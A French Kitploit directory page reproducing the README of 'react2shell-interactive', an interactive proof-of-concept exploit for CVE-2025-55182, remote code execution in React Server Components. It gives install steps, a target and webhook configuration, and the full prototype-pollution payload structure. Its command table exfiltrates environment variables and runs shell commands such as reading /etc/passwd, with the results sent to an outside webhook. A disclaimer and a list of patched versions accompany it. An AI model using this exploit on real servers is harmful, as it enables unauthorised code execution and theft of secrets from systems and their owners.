Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
react2shell-interactive — CVE-2025-55182 PoC interactif - React Server Components RCE - Recherche pédagogique en sécurité | Kitploit
Outils/GitHubGitHub/nathanj60/react2shell-interactive
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleApprentissage et ÉducationOutil d'Accès à DistanceDéveloppement de Charges Utiles

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
nathanj60/react2shell-interactive

react2shell-interactive

CVE-2025-55182 PoC interactif - React Server Components RCE - Recherche pédagogique en sécurité

Voir le dépôt
il y a 8 moisPas encore vérifié

React2Shell - CVE-2025-55182 PoC interactif

Shell interactif pour exploiter CVE-2025-55182, une vulnérabilité d'exécution de code à distance dans les composants serveur React.

Avertissement

Cet outil est fourni uniquement à des fins ÉDUCATIVES et de TESTS DE SÉCURITÉ AUTORISÉS.

  • Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite
  • L'accès non autorisé à des systèmes informatiques est illégal
  • L'auteur n'est pas responsable de toute utilisation abusive de cet outil
  • Il s'agit d'une preuve de concept pour la recherche et la sensibilisation en sécurité

Présentation de la vulnérabilité

CVE-2025-55182 affecte les composants serveur React (RSC) dans :

  • Next.js < 15.1.7, < 14.2.29, < 13.5.9
  • Waku (plusieurs versions)

La vulnérabilité permet l'exécution de code à distance (RCE) via des charges utiles malveillantes envoyées aux actions serveur.

Fonctionnement

  1. Le protocole RSC utilise la syntaxe $@x pour référencer des objets Chunk internes
  2. JavaScript décompresse automatiquement les objets dotés de méthodes .then() (similaires à des Promesses)
  3. En créant une charge utile malveillante avec des propriétés contrôlées _response, _formData et _prefix
  4. L'attaquant peut atteindre le constructeur Function via une traversée de la chaîne de prototypes
  5. Cela permet l'exécution arbitraire de JavaScript sur le serveur
root@kitploit:~
$3:constructor:constructor → Constructeur Function → RCE

Installation

root@kitploit:~
git clone https://github.com/NathanJ60/react2shell-interactive.git
cd react2shell-interactive
npm install

Configuration

Modifiez exploit.js et mettez à jour ces valeurs :

root@kitploit:~
const TARGET_URL = 'http://localhost:3000/'          // Serveur Next.js vulnérable
const WEBHOOK_URL = 'https://webhook.site/YOUR-ID'   // Votre URL de webhook

Obtenez un webhook gratuit sur : https://webhook.site

Utilisation

root@kitploit:~
node exploit.js

Commandes

Exemple de session

root@kitploit:~
react2shell> !test
[+] Envoyé ! Vérifiez le webhook

react2shell> whoami
[+] Envoyé : whoami

react2shell> ls -la
[+] Envoyé : ls -la

react2shell> !env
[+] Envoyé ! Vérifiez le webhook pour les variables d'environnement

Les résultats apparaissent sur votre webhook, pas dans le terminal.

Détails techniques

Structure de la charge utile

root@kitploit:~
{
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': '<JAVASCRIPT_CODE>//',
        '_formData': { 'get': '$3:constructor:constructor' },
        '_chunks': '$2:_response:_chunks'
    }
}

Déroulement de l'exécution

  1. La charge utile est envoyée sous forme de données de formulaire multipart avec l'en-tête next-action
  2. L'analyseur React Flight traite les chunks
  3. $@3 crée une référence Chunk
  4. $3:constructor:constructor traverse jusqu'à Function
  5. Le contenu de _prefix est passé à Function() et exécuté

Remarques pour Next.js 15+

  • Utilise les modules ESM, donc require() n'est pas disponible
  • Utilisez plutôt import() dynamique :
    root@kitploit:~
    import("child_process").then(cp => cp.execSync("whoami"))
    

Versions corrigées

Mettez à jour vers ces versions pour corriger la vulnérabilité :

  • Next.js >= 15.1.7
  • Next.js >= 14.2.29
  • Next.js >= 13.5.9

Références

  • Site officiel React2Shell
  • Plugin Google Tsunami Scanner

Licence

Licence MIT - À des fins éducatives uniquement.

Auteur

PoC de recherche en sécurité - À utiliser de manière responsable.

Télécharger l’outil
CommandeDescription
!testTester si l'exploit fonctionne (envoie une confirmation au webhook)
!envExfiltrer les variables d'environnement (process.env)
!js <code>Exécuter du JavaScript personnalisé
!helpAfficher l'aide
!exitQuitter
<commande>Exécuter une commande shell (ex : whoami, ls, cat /etc/passwd)